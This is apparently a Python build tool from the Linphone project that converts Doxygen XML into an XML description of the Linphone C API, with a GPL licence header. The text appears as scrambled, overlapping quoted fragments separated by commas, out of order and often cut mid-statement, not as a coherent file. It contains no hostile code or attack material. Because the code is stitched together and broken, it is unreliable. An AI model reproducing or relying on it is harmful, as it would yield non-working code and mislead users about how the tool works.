self.__cleanDescription(node.find('./detaileddescription')) structmembers", "td.briefDoc self.add(cclass) break elif ('Linphone' + td.definition) == td.name: st", "51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import", "def addArgument(self, arg): self.arguments.append(arg) def __len__(self): return len(self.arguments) def __getitem__(self,", "is None: argv = sys.argv argparser = argparse.ArgumentParser(description=\"Generate XML version", "'unsigned', 'short', 'long', '*' ] fullySplittedType = [] splittedType =", "return None locationNode = node.find('./location') if locationNode is not None:", "''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev def", "1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and", "+ \" \" + self.name class CArgumentsList: def __init__(self): self.arguments", "definition = node.find('./definition').text if definition.startswith('typedef '): definition = definition[8 :]", "is not None: if returnarg.ctype == 'MSList' or returnarg.ctype ==", "in descriptionNode.findall('./para'): for n in para.findall('./parameterlist'): para.remove(n) for n in", "valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName, f): functionAttributes = { 'name'", "= td break elif td.definition.startswith('struct '): structFound = False for", "__parseCEnumValueInitializer(self, initializer): initializer = initializer.strip() if not initializer.startswith('='): return None", "or (at your option) any later version. # # This", "f = CEvent(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", "arg.name + \"' parameter not documented\\n\"; if missingDocWarning != '':", "# but WITHOUT ANY WARRANTY; without even the implied warranty", "in enums: if e.associatedTypedef is not None: self.ctype = e.associatedTypedef.name", "the result is correct eg. for 'unsigned short' for s", "This program is distributed in the hope that it will", "0 and len(cclass.classMethods) == 0 and \\ len(cclass.instanceMethods) == 0", "cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project): print(\"Generating XML document of Linphone", "methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if", "self.__parseCFunctionMemberdef(m) if f is not None: self.add(f) def initFromFiles(self, xmlfiles):", "para.remove(n) if descriptionNode.tag == 'parameterdescription': descriptionNode.tag = 'description' if descriptionNode.tag", "of the class has_ref_method = False has_unref_method = False has_destroy_method", "returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None:", "self.properties[name] = prop self.properties[name].setter = f def __addClassMethod(self, f): if", "tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in memberdefs: f = self.__parseCFunctionMemberdef(m) if f", "in self.classMethods: self.classMethods[f.name] = f def __addInstanceMethod(self, f): name =", "len(s) > 1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s)", "action='store_true') argparser.add_argument('xmldir', help=\"XML directory generated by doxygen.\") args = argparser.parse_args()", "def __parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if", "os.path.join(xmldir, f) for f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and", "if l.isupper() and not first: self.cFunctionPrefix += '_' self.cFunctionPrefix +=", "lambda c: len(c.name), reverse = True) for e in self.__events:", "pos != -1: definition = definition[0 : pos] td =", "prop = CProperty(name) self.properties[name] = prop self.properties[name].getter = f def", "n in para.findall('.//ref'): n.attrib = {} for n in para.findall(\".//bctbx_list\"):", "= True break for f in self.__functions: for c in", "CStruct(CObject): def __init__(self, name): CObject.__init__(self, name) self.members = [] self.associatedTypedef", "td break elif td.definition.startswith('struct '): structFound = False for st", "or arg.ctype == 'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if n is", "self.briefDescription = '' self.detailedDescription = None self.deprecated = False self.briefDoc", "> 0: classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames = [] for", "help=\"Increase output verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML pretty print\", action='store_true') argparser.add_argument('xmldir',", "print(\"\\tArguments: \" + str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for para", "definition.find(\"(\") definition = definition[pos + 1 : -1] argslist =", "is None) and td.definition[5:] == e.name: e.associatedTypedef = td break", "ev.deprecated = True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription", "= [] self.docparser = metadoc.Parser() def add(self, elem): if isinstance(elem,", "'': print(name + \":\\n\" + missingDocWarning) return f def __findCFunction(self,", ": starPos + 1] argName = argdef[starPos + 1 :]", "deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: f.deprecated =", "None: e.deprecated = True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription'))", "self.__cleanDescription(node.find('./detaileddescription')) return f else: pos = definition.rfind(\" \" + name)", "'*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType) def", "= cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription !=", "name = '', enums = [], structs = []): CObject.__init__(self,", "= node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums =", "True if s == 'enum': isEnum = True if isStruct:", "'_' self.cFunctionPrefix += l.lower() first = False self.cFunctionPrefix += '_'", "'' name = node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg = CArgument(t,", "+ 1 : -1] argslist = CArgumentsList() for argdef in", "= [ 'const', 'struct', 'enum', 'signed', 'unsigned', 'short', 'long', '*'", "self.__struct = st self.events = {} self.classMethods = {} self.instanceMethods", "name = node.find('./name').text definition = node.find('./definition').text if definition.startswith('typedef '): definition", "== 'unref': has_unref_method = True elif methodname_without_prefix == 'destroy': has_destroy_method", "file: \" + f.name) tree = ET.parse(f) except ET.ParseError as", "lambda e: e.name) if len(project.enums) > 0: enumsNode = ET.SubElement(apiNode,", ":] if name.endswith('Cb'): pos = definition.find(\"(*\") if pos == -1:", "m in memberdefs: f = self.__parseCFunctionMemberdef(m) if f is not", "parentNode, nodeName, f): functionAttributes = { 'name' : f.name, 'deprecated'", "help=\"XML pretty print\", action='store_true') argparser.add_argument('xmldir', help=\"XML directory generated by doxygen.\")", "0: enumsNode = ET.SubElement(apiNode, 'enums') for cenum in project.enums: self.__generateEnum(cenum,", "= {} for n in para.findall(\".//xrefsect\"): para.remove(n) for n in", "will be useful, # but WITHOUT ANY WARRANTY; without even", "self.description = None self.containedType = None keywords = [ 'const',", "if not, write to the Free Software # Foundation, Inc.,", "''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td return", "argumentNodeAttributes['containedtype'] = arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description", "False self.cFunctionPrefix += '_' def __addPropertyGetter(self, name, f): if not", "not None: self.add(f) def initFromFiles(self, xmlfiles): trees = [] for", "as e: print(e) if tree is not None: trees.append(tree) for", "methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix == 'ref': has_ref_method =", "'classes') project.classes.sort(key = lambda c: c.name) for cclass in project.classes:", "= definition.find(\"(*\") if pos == -1: return None returntype =", "name + \"' of class '\" + c.name + \"'", "definition[0:definition.find(structname + \"::\" + name)] sm = CStructMember(name, t) deprecatedNode", "= True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription =", "if name.startswith('get_') and len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_')", "self.cFunctionPrefix = '' first = True for l in self.name:", "print(\"Adding function \" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments:", "\"' has a setter but no getter\") class Generator: def", "lambda c: c.name) for cclass in project.classes: self.__generateClass(cclass, classesNode) s", "FOR A PARTICULAR PURPOSE. See the # GNU General Public", "the # GNU General Public License for more details. #", "print(name + \":\\n\" + missingDocWarning) f = CEvent(name, returnarg, argslist)", "argdef.rfind(' ') if starPos != -1: argType = argdef[0 :", "self.__structs)) if len(argslist) > 0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs:", "= lambda e: e.name) if len(project.enums) > 0: enumsNode =", "outputfile def __generateEnum(self, cenum, enumsNode): enumNodeAttributes = { 'name' :", "elif returnarg.completeType != 'void': missingDocWarning += \"\\tReturn value is not", "self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project: def __init__(self): self.verbose =", "= definition[pos + 1 : -1] argslist = CArgumentsList() for", "t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: sm.deprecated", "argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\")", "in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct =", "splittedType = t.strip().split(' ') for s in splittedType: if s.startswith('*'):", "if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription) >", "not None: ev.deprecated = True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc =", "project.enums.sort(key = lambda e: e.name) if len(project.enums) > 0: enumsNode", "arg.ctype, 'completetype' : arg.completeType } if arg.containedType is not None:", "cclass.properties: propnames.append(propname) propnames.sort() for propname in propnames: propertyNodeAttributes = {", "name): CObject.__init__(self, name) self.values = [] self.associatedTypedef = None def", "self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode, 'setter',", "ET import xml.dom.minidom as minidom import metadoc class CObject: def", "free software; you can redistribute it and/or # modify it", "= td cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass)", "'deprecated' : str(cenum.deprecated).lower() } if cenum.associatedTypedef is not None: enumNodeAttributes['name']", ": str(cenum.deprecated).lower() } if cenum.associatedTypedef is not None: enumNodeAttributes['name'] =", "self.arguments = argslist self.location = None class CEvent(CFunction): pass class", "enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription", "None returntype = definition[0:pos].strip() returnarg = CArgument(returntype, enums = self.enums,", "e.name.startswith(c.name): c.addEvent(e) eventAdded = True break if not eventAdded: for", "compounddefs: s = self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node): if not", "= td.briefDoc self.add(st) self.add(cclass) # Sort classes by length of", "in elem.members: print(\"\\t\" + sm.ctype + \" \" + sm.name)", "f else: pos = definition.rfind(\" \" + name) if pos", "] self.initFromFiles(files) def check(self): for c in self.classes: for name,", "+= \"\\t'\" + arg.name + \"' parameter not documented\\n\"; if", "td cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass) #", "None def addMember(self, member): self.members.append(member) class CTypedef(CObject): def __init__(self, name,", "self.name: if l.isupper() and not first: self.cFunctionPrefix += '_' self.cFunctionPrefix", "fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum = False self.ctype = 'int'", "None: self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription is not None: self.detailedDescription", "fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif", "elif isinstance(elem, CEnum): if self.verbose: print(\"Adding enum \" + elem.name)", "self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0: self.briefDescription = st.briefDescription", "\"')\\n\"; if missingDocWarning != '': print(name + \":\\n\" + missingDocWarning)", "struct \" + elem.name) for sm in elem.members: print(\"\\t\" +", "None missingDocWarning = '' name = node.find('./name').text t = ''.join(node.find('./type').itertext())", "def __addClassMethod(self, f): if not f.name in self.classMethods: self.classMethods[f.name] =", "is not None: arg.containedType = n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning", "[] self.associatedTypedef = None def addValue(self, value): self.values.append(value) class CStructMember(CObject):", "valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName, f): functionAttributes", "{} return descriptionNode def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is None", "'', enums = [], structs = []): CObject.__init__(self, name) self.description", "None: td.deprecated = True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription'))", "self.docparser = metadoc.Parser() def add(self, elem): if isinstance(elem, CClass): if", "first), so that methods are put in the right class", "[] self.__typedefs = [] self.__events = [] self.__functions = []", "sm in elem.members: print(\"\\t\" + sm.ctype + \" \" +", "import six import string import sys import xml.etree.ElementTree as ET", "not in fullySplittedType: if fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int') else:", "None: returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType !=", "> 0: enumValuesNode = ET.SubElement(enumNode, 'values') for value in cenum.values:", "s += ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s)", "+ name)] sm = CStructMember(name, t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", "is not documented\\n\" definition = definition[pos + 2 :] pos", "spacePos != -1: argType = argdef[0 : spacePos] argName =", "is None and p.setter is not None: print(\"Property '\" +", "__computeCFunctionPrefix(self): self.cFunctionPrefix = '' first = True for l in", "class CProperty: def __init__(self, name): self.name = name self.getter =", "e: e.name) if len(project.enums) > 0: enumsNode = ET.SubElement(apiNode, 'enums')", "= ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) >", "f.name in self.classMethods: self.classMethods[f.name] = f def __addInstanceMethod(self, f): name", "CArgument(returntype, enums = self.enums, structs = self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\")", "f)) and f.endswith('.xml')) ] self.initFromFiles(files) def check(self): for c in", "copy of the GNU General Public License # along with", "+ elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode):", "+ name) if pos != -1: definition = definition[0 :", "in the right class self.classes.sort(key = lambda c: len(c.name), reverse", "paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments: for", "initializer = initializer[1:] initializer.strip() return initializer def __parseCEnumValue(self, node): ev", "name): CObject.__init__(self, name) self.members = [] self.associatedTypedef = None def", "f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode): # Do not include", "== paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg", "cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames", "cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription != '':", "c in self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded =", "__cleanDescription(self, descriptionNode): for para in descriptionNode.findall('./para'): for n in para.findall('./parameterlist'):", "and ''.join(f.detailedDescription.itertext()).strip() == '': return None locationNode = node.find('./location') if", "{} for n in para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag == 'parameterdescription':", "= {} self.classMethods = {} self.instanceMethods = {} self.properties =", "CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: s.deprecated", "+= '_' self.cFunctionPrefix += l.lower() first = False self.cFunctionPrefix +=", "'unsigned short' for s in fullySplittedType: if not s in", "= argdef.rfind(' ') if starPos != -1: argType = argdef[0", "of the License, or (at your option) any later version.", "elif len(st.briefDescription) > 0: self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription is", "for s in fullySplittedType: if not s in keywords: self.ctype", "= definition[0:definition.find(structname + \"::\" + name)] sm = CStructMember(name, t)", "= self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == '' and", "elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType:", "type=argparse.FileType('w'), help=\"Output XML file describing the Linphone API.\") argparser.add_argument('--verbose', help=\"Increase", "if st.associatedTypedef == td: cclass = CClass(st) cclass.briefDoc = td.briefDoc", "self.verbose: print(\"Adding class \" + elem.name) self.classes.append(elem) elif isinstance(elem, CEnum):", "string import sys import xml.etree.ElementTree as ET import xml.dom.minidom as", "= False for methodname in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '')", "= ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode,", "st.detailedDescription self.__struct = st self.events = {} self.classMethods = {}", "= True classNodeAttributes = { 'name' : cclass.name, 'cfunctionprefix' :", "pretty print\", action='store_true') argparser.add_argument('xmldir', help=\"XML directory generated by doxygen.\") args", "False self.briefDoc = None class CEnumValue(CObject): def __init__(self, name): CObject.__init__(self,", "for tree in trees: self.__findCTypedef(tree) for tree in trees: self.__findCFunction(tree)", "useful, # but WITHOUT ANY WARRANTY; without even the implied", "in structmembers: sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s def", "def __init__(self): self.verbose = False self.prettyPrint = False self.enums =", "enums: if e.associatedTypedef is not None: self.ctype = e.associatedTypedef.name if", "break if not structFound: name = td.definition[7:] print(\"Structure with no", "later version. # # This program is distributed in the", "if len(cclass.classMethods) > 0: classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames =", "if deprecatedNode is not None: ev.deprecated = True ev.briefDescription =", "True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription'))", "member): self.members.append(member) class CTypedef(CObject): def __init__(self, name, definition): CObject.__init__(self, name)", ": arg.name, 'type' : arg.ctype, 'completetype' : arg.completeType } if", "# You should have received a copy of the GNU", "help=\"Output XML file describing the Linphone API.\") argparser.add_argument('--verbose', help=\"Increase output", "deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: ev.deprecated =", "+ f.location + \"')\\n\"; if missingDocWarning != '': print(name +", "[] for f in xmlfiles: tree = None try: if", "st.associatedTypedef == td: cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass)", "= '' name = node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg =", "and td.definition[7:] == st.name: st.associatedTypedef = td structFound = True", "returnarg.ctype == 'MSList' or returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist')", "is None) and td.definition[7:] == st.name: st.associatedTypedef = td structFound", "CStruct): if self.verbose: print(\"Adding struct \" + elem.name) for sm", "node.findall('./param') for argNode in argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName =", "'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and len(f.arguments) == 1 and", "functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self,", "{ 'type' : f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType } if f.returnArgument.containedType", "'_enabled', f) else: if not f.name in self.instanceMethods: self.instanceMethods[f.name] =", "= True) for e in self.__events: eventAdded = False for", "'.join(fullySplittedType) def __str__(self): return self.completeType + \" \" + self.name", "self.deprecated = False self.briefDoc = None class CEnumValue(CObject): def __init__(self,", "has_unref_method: refcountable = True if has_destroy_method: destroyable = True classNodeAttributes", "= None class CEnum(CObject): def __init__(self, name): CObject.__init__(self, name) self.values", "node): return None name = node.find('./name').text definition = node.find('./definition').text if", "\" + elem.name) print(\"\\t\" + elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent):", "self.__structs)) if len(argslist) > 0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs:", "td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td return None def __findCTypedef(self, tree):", "include classes that contain nothing if len(cclass.events) == 0 and", "self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self, node): return", "definition): CObject.__init__(self, name) self.definition = definition.strip() class CArgument(CObject): def __init__(self,", "print(\"Generating XML document of Linphone API to '\" + self.__outputfile.name", "return s def __findCStruct(self, tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c", "+ elem.name) for sm in elem.members: print(\"\\t\" + sm.ctype +", "node, structname): name = node.find('./name').text definition = node.find('./definition').text t =", "value is not documented\\n\" argslist = CArgumentsList() argslistNode = node.findall('./param')", "cclass, classesNode): # Do not include classes that contain nothing", "'<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8') if project.prettyPrint:", "self.__events: eventAdded = False for c in self.classes: if c.name.endswith('Cbs')", "= CArgument(returntype, enums = self.enums, structs = self.__structs) returndesc =", "arg.name, 'type' : arg.ctype, 'completetype' : arg.completeType } if arg.containedType", "\"\\tNot documented in a header file ('\" + f.location +", "None class CEnum(CObject): def __init__(self, name): CObject.__init__(self, name) self.values =", "by the Free Software Foundation; either version 2 # of", "+ \" \" + sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef): if", "self.add(st) self.add(cclass) # Sort classes by length of name (longest", "that contain nothing if len(cclass.events) == 0 and len(cclass.classMethods) ==", "descriptionNode.tag = 'description' if descriptionNode.tag == 'simplesect': descriptionNode.tag = 'description'", "= node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: s.deprecated = True", "in structs: if st.associatedTypedef is not None: self.ctype = st.associatedTypedef.name", "returnarg, argslist): CObject.__init__(self, name) self.returnArgument = returnarg self.arguments = argslist", "class self.classes.sort(key = lambda c: len(c.name), reverse = True) for", "CProperty: def __init__(self, name): self.name = name self.getter = None", "self.cFunctionPrefix += l.lower() first = False self.cFunctionPrefix += '_' def", "'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable'", "''.join(argNode.find('./type').itertext()) argName = '' argNameNode = argNode.find('./declname') if argNameNode is", "def initFromFiles(self, xmlfiles): trees = [] for f in xmlfiles:", "len(cclass.properties) == 0: return # Check the capabilities of the", "GNU General Public License # as published by the Free", "c.addEvent(e) eventAdded = True break if not eventAdded: for c", "def initFromDir(self, xmldir): files = [ os.path.join(xmldir, f) for f", "if not ev.name in self.events: self.events[ev.name] = ev def addMethod(self,", "= definition.strip() class CArgument(CObject): def __init__(self, t, name = '',", "0: classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda c: c.name)", "in self.classes: for name, p in six.iteritems(c.properties): if p.getter is", "project.classes.sort(key = lambda c: c.name) for cclass in project.classes: self.__generateClass(cclass,", "__findCTypedef(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in memberdefs: td", "def check(self): for c in self.classes: for name, p in", "Linphone API.\") argparser.add_argument('--verbose', help=\"Increase output verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML pretty", "= [] for eventname in cclass.events: eventnames.append(eventname) eventnames.sort() for eventname", "for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description =", "SARL # # This program is free software; you can", "is not None: self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription is not", "'struct', 'enum', 'signed', 'unsigned', 'short', 'long', '*' ] fullySplittedType =", "} if f.location is not None: functionAttributes['location'] = f.location functionNode", "= ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass,", "n.text = t for n in para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note'", "CClass(CObject): def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated:", "== e.name: e.associatedTypedef = td break elif td.definition.startswith('struct '): structFound", "f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ] self.initFromFiles(files)", "= ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description)", "f.name) tree = ET.parse(f) except ET.ParseError as e: print(e) if", "= True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription =", "e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\") for enumvalue in enumvalues:", "but WITHOUT ANY WARRANTY; without even the implied warranty of", "== 'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if n is not None:", "'name' : arg.name, 'type' : arg.ctype, 'completetype' : arg.completeType }", "f) elif name.endswith('_enabled') and len(f.arguments) == 1 and f.returnArgument.ctype ==", "argslist = CArgumentsList() argslistNode = node.findall('./param') for argNode in argslistNode:", "isinstance(elem, CEvent): if self.verbose: print(\"Adding event \" + elem.name) print(\"\\tReturns:", "\"\\tReturn value is not documented\\n\" argslist = CArgumentsList() argslistNode =", "None: args.outputfile = open('api.xml', 'w') project = Project() if args.verbose:", "__init__(self, name, definition): CObject.__init__(self, name) self.definition = definition.strip() class CArgument(CObject):", "== f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer): initializer", "this program; if not, write to the Free Software #", "break if not eventAdded: for c in self.classes: if e.name.startswith(c.name):", "not None: f.location = locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning +=", "tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in compounddefs: s =", "argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: f.deprecated", "is not None: argName = ''.join(argNameNode.itertext()) if argType != 'void':", "== 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled')", "is not documented\\n\" argslist = CArgumentsList() argslistNode = node.findall('./param') for", "'void': missingDocWarning += \"\\tReturn value is not documented\\n\" definition =", "not documented\\n\" definition = definition[pos + 2 :] pos =", "t.strip().split(' ') for s in splittedType: if s.startswith('*'): fullySplittedType.append('*') if", "+ self.name class CArgumentsList: def __init__(self): self.arguments = [] def", "for cenum in project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes) > 0:", "for n in para.findall('./parameterlist'): para.remove(n) for n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n)", "node.find('./name').text definition = node.find('./definition').text t = definition[0:definition.find(structname + \"::\" +", "cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname])", "structs = []): CObject.__init__(self, name) self.description = None self.containedType =", "= self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self, node):", "'': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def", "put in the right class self.classes.sort(key = lambda c: len(c.name),", "= returndesc.find('.//bctbxlist') if n is not None: returnarg.containedType = n.text", "name.startswith('set_') and len(f.arguments) == 2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and", "if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList' or arg.ctype", "len(self.arguments) def __getitem__(self, key): return self.arguments[key] def __str__(self): argstr =", "name = node.find('./name').text definition = node.find('./definition').text t = definition[0:definition.find(structname +", "n in para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag == 'parameterdescription': descriptionNode.tag =", "= self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self, node):", "in self.__structs: if st.associatedTypedef == td: cclass = CClass(st) cclass.briefDoc", "CObject.__init__(self, name) self.returnArgument = returnarg self.arguments = argslist self.location =", "for st in self.__structs: if (st.associatedTypedef is None) and td.definition[7:]", "= None class CEnumValue(CObject): def __init__(self, name): CObject.__init__(self, name) self.value", "ET.parse(f) except ET.ParseError as e: print(e) if tree is not", "if len(cclass.events) == 0 and len(cclass.classMethods) == 0 and \\", "a copy of the GNU General Public License # along", "in self.classes: if c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break", "tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in memberdefs: td = 